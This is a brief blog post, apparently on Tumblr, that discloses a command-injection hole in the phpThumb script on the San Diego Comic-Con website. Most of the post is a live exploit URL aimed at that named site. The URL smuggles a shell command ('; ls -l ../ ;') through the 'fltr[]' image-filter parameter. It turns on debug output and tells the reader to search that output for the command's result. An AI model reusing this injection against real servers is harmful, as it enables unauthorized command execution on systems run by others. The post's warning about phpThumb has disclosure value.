Disturb

Jun 29

San Diego Comic-Con vulnerability

http://comic-con.org/phpThumb/phpThumb.php?src=../splash/splash_ccilogo.gif&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; ls -l ../ ;&phpThumbDebug=9

Ctrl+F “failed with”

This is why you don’t use phpThumb.


  1. ebol4 posted this